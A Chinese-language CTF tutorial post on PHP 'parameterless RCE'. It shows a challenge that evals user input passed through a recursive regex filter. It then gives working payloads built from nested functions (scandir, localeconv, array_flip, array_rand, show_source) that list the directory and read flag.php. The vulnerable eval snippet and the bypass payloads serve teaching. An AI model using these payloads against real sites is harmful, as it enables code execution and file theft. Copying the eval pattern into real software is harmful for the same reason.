什么是无参数?
顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等
例题:
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);
}
?>
代码解析:
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
preg_replace — 执行一个正则表达式的搜索和替换,\W为除了字母、下划线和数字之外的字符(与\w相反,即匹配所有字符),而^在方括号中,则表示不接受方括号中的字符集合。
(?R)?这个意思为递归整个匹配模式,即:
()被转义字符转移,所以要加上。
所有if判断里面的正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;。所以这道题我们只能使用无参数的函数进行文件读取或者命令执行
解题思路:
第一步
首先使用无参数任意文件读取查看当前目录文件名
一般而言我们可以使用print_r(scandir('.'));可以用来查看当前目录所有文件名
print_r — 打印人们可读的变量信息。scandir — 列出指定路径中的文件和目录。
但因为'.'在函数中被过滤,所以我们要想该如何构造.。这里可以用到以下几个方法:
localeconv()
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.。
详情请见PHP: localeconv - 手动中例一。
然后我们如何取得这个.,这时我们就要用到另外一个函数current()
故而输入:?code=print_r(scandir(current(localeconv())));
得到当前目录下的文件,其中的flag.php就是我们需要得到的文件
获取.的方法有很多,大佬有其他思路可以评论区交流【doge】
注:如果current()可以使用别名pos();或者另外一个函数reset(),该函数返回数组第一个单元的值
第二步
读取目标文件
首先我们先来介绍以下几个函数:
show_source — 别名 highlight_file()
array_rand — 从数组中随机取出一个或多个随机键
array_flip — 交换数组中的键和值
在第一步中——(scandir(current(localeconv())))将文件目录列出,array_flip把键与值交换,array_rand随机取出一个或多个值,show_source返回文件的代码,所以:
输入:?code=show_source(array_rand(array_flip(scandir(current(localeconv())))));
因为array_rand是随机取出一个,所以第一次没有取出,我们可以多刷新几次。
至此我们的RCE无参数读取文件到这里就结束了,不仅第一步有许多方法,第二步同样有,如:因为flag文件在倒数第二位,我们可以利用next与array_reverse做一个新数组,其他各种等着各位发掘,谢谢观看!!